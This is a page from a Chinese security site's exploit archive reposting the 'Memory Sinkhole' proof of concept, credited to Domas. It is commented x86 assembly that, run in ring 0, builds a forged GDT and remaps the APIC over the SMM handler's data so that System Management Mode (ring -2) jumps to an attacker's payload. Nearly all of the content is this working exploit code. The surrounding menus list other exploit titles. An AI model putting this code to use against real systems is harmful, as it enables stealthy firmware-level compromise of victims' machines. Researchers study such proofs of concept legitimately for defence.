首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux/x86 Memory Sinkhole Proof Of Concept
来源:vfocus.net 作者:Domas 发布时间:2015-08-10  
; memory sinkhole proof of concept
; hijack ring -2 execution through the apic overlay attack.
 
; deployed in ring 0
 
; the SMBASE register of the core under attack
TARGET_SMBASE equ 0x1f5ef800
  
; the location of the attack GDT.
; this is determined by which register will be read out of the APIC
; for the GDT base.  the APIC registers at this range are hardwired,
; and outside of our control; the SMM code will generally be reading 
; from APIC registers in the 0xb00 range if the SMM handler is page 
; aligned, or the 0x300 range if the SMM handler is not page aligned. 
; the register will be 0 if the SMM handler is aligned to a page 
; boundary, or 0x10000 if it is not.
GDT_ADDRESS equ 0x10000
  
; the value added to SMBASE by the SMM handler to compute the
; protected mode far jump offset.  we could eliminate the need for an
; exact value with a nop sled in the hook.
FJMP_OFFSET equ 0x8097
  
; the offset of the SMM DSC structure from which the handler loads
; critical information
DSC_OFFSET equ 0xfb00
  
; the descriptor value used in the SMM handler’s far jump
DESCRIPTOR_ADDRESS equ 0x10
  
; MSR number for the APIC location
APIC_BASE_MSR equ 0x1b
  
; the target memory address to sinkhole
SINKHOLE equ ((TARGET_SMBASE+DSC_OFFSET)&0xfffff000)
  
; we will hijack the default SMM handler and point it to a payload
; at this physical address.
PAYLOAD_OFFSET equ 0x1000
 
; compute the desired base address of the CS descriptor in the GDT.
; this is calculated so that the fjmp performed in SMM is perfectly
; redirected to the payload hook at PAYLOAD_OFFSET.
CS_BASE equ (PAYLOAD_OFFSET-FJMP_OFFSET)
  
; we target the boot strap processor for hijacking.
APIC_BSP equ 0x100
  
; the APIC must be activated for the attack to work.
APIC_ACTIVE equ 0x800
  
;;; begin attack ;;;
  
; clear the processor caches,
; to prevent bypassing the memory sinkhole on data fetches
wbinvd
  
; construct a hijack GDT in memory under our control
; note: assume writing to identity mapped memory.
; if non-identity mapped, translate these through the page tables first.
mov dword [dword GDT_ADDRESS+DESCRIPTOR_ADDRESS+4],
    (CS_BASE&0xff000000) | (0x00cf9a00) | 
        (CS_BASE&0x00ff0000)>>16
mov dword [dword GDT_ADDRESS+DESCRIPTOR_ADDRESS+0],
    (CS_BASE&0x0000ffff)<<16 | 0xffff
  
; remap the APIC to sinkhole SMM’s DSC structure
mov eax, SINKHOLE | APIC_ACTIVE | APIC_BSP
mov edx, 0
mov ecx, APIC_BASE_MSR
wrmsr
  
; wait for a periodic SMI to be triggered
jmp $


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FileZilla Client 2.2.x SEH Buf
·Tomabo MP4 Player 3.11.3 SEH B
·MS14-002 Windows NDProxy Privi
·PHP SPL ArrayObject Use-After-
·Classic FTP 2.36 - CWD Reconne
·PHP SplObjectStorage Use-After
·Brasero - Crash Proof Of Conce
·PHP SplDoublyLinkedList Use-Af
·Acunetix Web Vulnerability Sca
·Pineapple 2.3.0 Autopwn Script
·Heroes Of Might And Magic III
·Havij Pro - Crash POC
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved